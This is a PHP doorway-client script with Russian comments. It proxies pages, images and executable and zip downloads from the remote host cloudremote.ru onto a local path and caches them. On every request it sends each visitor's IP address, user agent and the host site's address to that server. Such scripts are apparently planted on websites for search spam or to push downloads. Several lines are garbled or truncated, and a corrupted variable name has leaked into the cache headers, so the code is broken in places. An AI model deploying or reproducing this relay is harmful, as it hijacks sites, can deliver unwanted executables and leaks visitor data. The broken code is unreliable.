error_reporting(0); #{ $myHost = "cloudremote.ru"; //адресс твоего сервера (доргена) $pathOnMyHost = ""; //путь до папки на сервере (пусто, если Сервер не в папке) # /server/test $pathToDor = "/dist"; //путь по которому будет доступен ваш дор-клиент (может быть виртуальная папка) # /mobile $template = 'liberty-salon'; // шаблон дора $connect = 1; // предпочтительное соединение через: 1 - cURL, 0 - Socket // кеширование: $cache93295836718654 = 0; // включить кеширование страниц (1 - ДА, 0 - НЕТ) $backup404 = 0; // если Сервер не доступен и страница на Клиенте еще не закеширована, то выведет рандомную закешированную страницу (1 - ДА, 0 - НЕТ) # если НЕТ, то Клиент выведет статус 404 и контент "404 - Not Found!" $cachedir = 'cache93295836718654'; // папка для кеша (без "/") # чтобы очистить кеш - удалите содержимое папки для кеша $cacheFiles = 900; // максимальное кол-во файлов в папках для кеша $cacheDirEnable = 1; // включить создание новых папок для кеша при превышении $cacheFiles (1 - ДА, 0 - НЕТ) #} // --------------------- // $path = substr(getenv('REQUEST_URI'), strlen($pathToDor)); if (strstr($path, ".css")) {header('Content-Type: text/css; charset=utf-8'); $type = 'css';} else if (strstr($path, ".png")) {header('Content-Type: image/png'); $type = 'png';} else if (strstr($path, ".jpg") || strstr($path, ".jpeg")) {header('Content-Type: image/jpeg'); $type = 'jpg';} else if (strstr($path, ".gif")) {header('Content-Type: image/gif'); $type = 'gif';} else if (strstr($path, ".ico")) {header("Content-type: image/x-icon"); $type = 'ico';} else if (strstr($path, ".xml") || strstr($path, "rss")) {header ('Content-type: text/xml; charset=utf-8'); $type = 'xml';} else if (strstr($path, ".txt")) {header('Content-Type: text/plain; charset=utf-8'); $type = 'txt';} else if (strstr($path, ".js")) {header('Content-Type: text/javascript; charset=utf-8'); $type = 'js';} else if (strstr($path, ".exe")) {header('Content-Type: application/octet-stream'); $type = 'exe';} else if (strstr($path, ".zip")) {header('Content-Type: application/zip'); $type = 'zip';} else if (strstr($path, ".mp3")) {header('Content-Type: application/mpeg'); $type = 'mp3';} else if (strstr($path, ".mpg")) {header('Content-Type: application/mpeg'); $type = 'mpg';} else if (strstr($path, ".avi")) {header('Content-Type: application/x-msvideo'); $type = 'avi';} else {header('Content-Type: text/html; charset=utf-8'); $type = 'html';} // --------------------- // $html = l__0($myHost, $pathOnMyHost.$path, $template, $pathToDor); if($html) echo $html; else echo l__0($myHost, $pathOnMyHost.$path, $template, $pathToDor); // --------------------- // function l__0($host, $path, $template, $pathToDor) { global $connect, $pathOnMyHost, $cache93295836718654, $type, $cachedir, $cacheFiles, $cacheDirEnable, $backup404; if ($cache93295836718654) $cachelink = l__1($cachedir, $cacheFiles, $cacheDirEnable); $UA = "User-Agent: $template" . "|$pathToDor" . "|$pathOnMyHost" . "|http://".getenv('HTTP_HOST') . "|".l__2() . "|".getenv('HTTP_USER_AGENT') . "|UA_Client"; if ($connect and function_exists("curl_exec") && function_exists("curl_init")) { $ch = curl_init('http://'.$host.$path); curl_setopt($ch, CURLOPT_HTTPHEADER, array($UA, "Referer: http://".getenv('HTTP_HOST')) ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15 ); curl_setopt($ch, CURLOPT_TIMEOUT, 15 ); $result = l__3( $ch ); curl_close($ch); } else { $buff = ''; $socket = @fsockopen($host, 80, $errno, $errstr); if ($socket) { @fputs($socket, "GET {$path} HTTP/1.0\r\n"); @fputs($socket, "Host: {$host}\r\n"); @fputs($socket, "Referer: http://".getenv('HTTP_HOST')."\r\n"); @fputs($socket, $UA."\r\n"); @fputs($socket, "Connection: close\r\n\r\n"); while (!@feof($socket)) { $buff .= @fgets($socket, 128); } @fclose($socket); $res = explode("\r\n\r\n", $buff, 2); if (preg_match("~Location: (.*)~", $res[0], $m)) { header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("cache93295836718654-Control: no-cache93295836718654, must-revalidate"); // HTTP/1.1 header("Pragma: no-cache93295836718654"); // HTTP/1.1 header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT"); header("HTTP/1.1 301 Moved Permanently"); header("Location: ".str_replace($pathOnMyHost, '', $m[1])); exit; } $result = $res[1]; } } if ($result){ if ($type == 'html' && strstr($result, "~"; $answer = preg_match($p, $result, $m) ? $m[1] : ''; $result = str_replace("", '', $result); } if($cache93295836718654 && !$answer) file_put_contents($cachelink, $result); elseif($cache93295836718654 && $answer == '1') { $thispage = 'http://' . getenv('HTTP_HOST') . getenv('REQUEST_URI'); $cachelink = $cachedir . '/' . $type. '/' . l__9($thispage)."_backup.$type"; file_put_contents($cachelink, $result); } return $result; } elseif (!$result && $type == 'html') { // backup index $thispage = 'http://' . getenv('HTTP_HOST') . getenv('REQUEST_URI'); $cachelink = $cachedir . '/' . $type. '/' . l__9($thispage)."_backup.$type"; if (is_file($cachelink)) return file_get_contents($cachelink); // pages if (!$backup404) { @header('HTTP/1.1 404 Not Found'); @header("Status: 404 Not Found"); return '404 - Not Found!'; } // random_cache $glob = glob($cachedir . '/' . $type. '/1/*.html'); if (!empty($glob)) return file_get_contents(trim($glob[mt_rand(0,count($glob)-1)])); } } function l__1($cachedir, $cacheFiles, $cacheDirEnable){ global $type; if(!is_dir($cachedir)) mkdir($cachedir); if(!is_dir($cachedir.'/'.$type)) mkdir($cachedir.'/'.$type); $cachedir = $cachedir . '/' . $type; $thispage = 'http://' . getenv('HTTP_HOST') . getenv('REQUEST_URI'); /* $delcache = isset($_GET['delcache']) ? $_GET['delcache'] : ''; $delpage = isset($_GET['delpage']) ? $_GET['delpage'] : ''; if ($delcache || $delpage) {delCache($delcache, $delpage, $type);die;} # удалить кеш полностью: http://dor.ru/client/client.php?delcache=1 # удалить отдельную страницу: http://dor.ru/client/client.php?delpage=http://dor.ru/page.html */ $list = glob($cachedir . "/[0-9]*", GLOB_NOSORT | GLOB_ONLYDIR); $cache_folder = $cachedir. '/cache_folder.cfg'; if(($new_dir = $list[count($list) - 1])==''){ $new_dir = substr($new_dir, strrpos($new_dir, '/') + 1) + 1; mkdir($cachedir . '/' . $new_dir); $dir = array('dir' => $new_dir, 'files' => 1); file_put_contents($cache_folder, serialize($dir)); $cachelink = $cachedir . '/' . $new_dir. '/' . l__9($thispage).".$type"; } else { $rrr = l__4(l__9($thispage).".$type", $cachedir); if ($rrr) { readfile($rrr); die; } if ($cacheDirEnable) { $fp = fopen($cache_folder, 'a+'); flock($fp, LOCK_EX); fseek($fp, 0); $dir = trim(fgets($fp)); ftruncate($fp, 0); if ($dir !== '') $dir = unserialize($dir); else { $dir = array('dir' => 1, 'files' => 0); $list = array("$cachedir/$dir[dir]"); @mkdir("$cachedir/$dir[dir]"); } if ($dir['files'] >= (int)$cacheFiles) { $dir['dir'] = l__6 ($cachedir); $dir['files'] = 0; mkdir($cachedir . '/' . $dir['dir']); } $dir['files']++; fwrite($fp, serialize($dir)); fflush($fp); flock($fp, LOCK_UN); fclose($fp); $list = array("$dir[dir]"); $new_dir = $dir['dir']; } else $new_dir = count($list); if( is_dir($cachedir . '/' . $new_dir) ){ $cachelink = $cachedir . '/' . $new_dir. '/' . l__9($thispage).".$type"; } else { $badfolder = l__5($cachedir); mkdir($cachedir . '/' . $badfolder); $cachelink = $cachedir . '/' . $badfolder. '/' . l__9($thispage).".$type"; } if (count(glob($cachedir . '/' . $new_dir."/*")) >= $cacheFiles){ if (!$cacheDirEnable) { $nf = '15'; $scandir = scandir($cachedir . '/' . $new_dir.'/'); foreach($scandir as $v) { if(preg_match("#\..*$#isU",$v)) { $a[] = $cachedir . '/' . $new_dir.'/'.$v; $aname[] = $v; } } for($i=0;$i$v) { $names[] = $v; $filemtime[] = date('d:m:Y H:i:s', $k); } if($nf > count($b)) $number = count($b); else $number = $nf; for($i=0;$i<$number;$i++){ unlink($names[$i]); } } } } } return $cachelink; } function l__2() { $array = array('HTTP_X_REAL_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR', 'HTTP_X_REMOTECLIENT_IP'); foreach($array as $key) if(filter_var(getenv($key), FILTER_VALIDATE_IP)) return getenv($key); return false; } function l__3($ch) { global $pathOnMyHost; static $curl_loops = 0; static $curl_max_loops = 20; if ($curl_loops >= $curl_max_loops) { $curl_loops = 0; return FALSE; } curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch); list($header, $data) = explode("\r\n\r\n", $data, 2); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($http_code == 301 || $http_code == 302) { $matches = array(); preg_match("~Location:(.*?)(?:\n|$)~", $header, $matches); $url = @parse_url(trim(array_pop($matches))); if (!$url) { $curl_loops = 0; return $data; } $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL)); if (!$url['path']) $url['path'] = $last_url['path']; if (!$url['host']) $new_url = $url['path'] . ($url['query']?'?'.$url['query']:''); else $new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:''); header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("cache93295836718654-Control: no-cache93295836718654, must-revalidate"); header("Pragma: no-cache93295836718654"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT"); header("HTTP/1.1 301 Moved Permanently"); header("Location: ".str_replace($pathOnMyHost, '', $new_url));exit; } else { $curl_loops=0; return $data; } } function l__4($file, $dir) { $files = glob($dir."/[0-9]*/".$file, GLOB_NOSORT); if(count($files) > 0) return $files[0]; else return false; } function l__5 ($cachedir){ if (!glob( $cachedir. '/[0-9]*', GLOB_NOSORT | GLOB_ONLYDIR ) == '') { foreach (glob( $cachedir. '/[0-9]*', GLOB_NOSORT | GLOB_ONLYDIR ) as $filename) { $array[] = $filename; } $array = str_replace( $cachedir. '/', '', $array ); $array_r=range(min($array),max($array)); for($i=0;$i0) return $badfolder[0]; else return (int)max($array)+1; } function l__7($delcache = '', $delpage = '', $type = 'html') { global $cachedir; function l__8($dir, $cachedir) { if ($objs = glob($dir."/*")) { foreach($objs as $obj) { if (is_dir($obj))l__8($obj, $cachedir); else {chmod($cachedir,0777);unlink($obj);} } } if ($dir !== $cachedir) @rmdir($dir); } if (!empty($delcache)) { l__8($cachedir, $cachedir); echo 'Done!'; } else { $rrr = l__4(l__9($delpage).".$type", $cachedir); if ($rrr) {unlink($rrr);echo 'Done!';} else echo 'File not found!'; } } function l__9($str) { return sprintf("%u", crc32($str)).mb_strlen($str); }